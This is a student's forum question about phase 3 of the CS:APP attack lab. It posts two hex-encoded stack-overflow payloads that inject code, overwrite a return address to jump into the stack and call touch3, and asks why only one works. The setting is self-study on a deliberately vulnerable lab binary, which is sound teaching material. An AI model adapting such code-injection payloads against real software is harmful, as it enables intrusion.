I am currently reading the book CS:APP. I am working on the labs too which are for self study. After I got stuck at phase 3 (I don't know why) I looked up a solution which is slightly different than my approach: (see section phase 3)
I have written
48 c7 c7 b0 dc 61 55 /* this row starts at address 0x5561dc78. It stands for mov $0x5561dcb0,%rdi */
c3 /* retq /*
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 /* this row is the return address which gets overwritten by user input. It points to the beginning of the first row (little endian format) */
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00 /* String at address 0x5561dcb0 */
So instead of pushing the address of touch3 (0x4018fa) I put it right after the address of our return address (0x5561dc78). Somehow this doesn't work. If I would do this instead:
48 c7 c7 b0 dc 61 55
68 fa 18 40 00 /* pushq 0x4018fa */
c3
00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 00
it works. I have no idea why. I hope here is someone who kinda knows this problem (probably did the lab too) and can explain me why.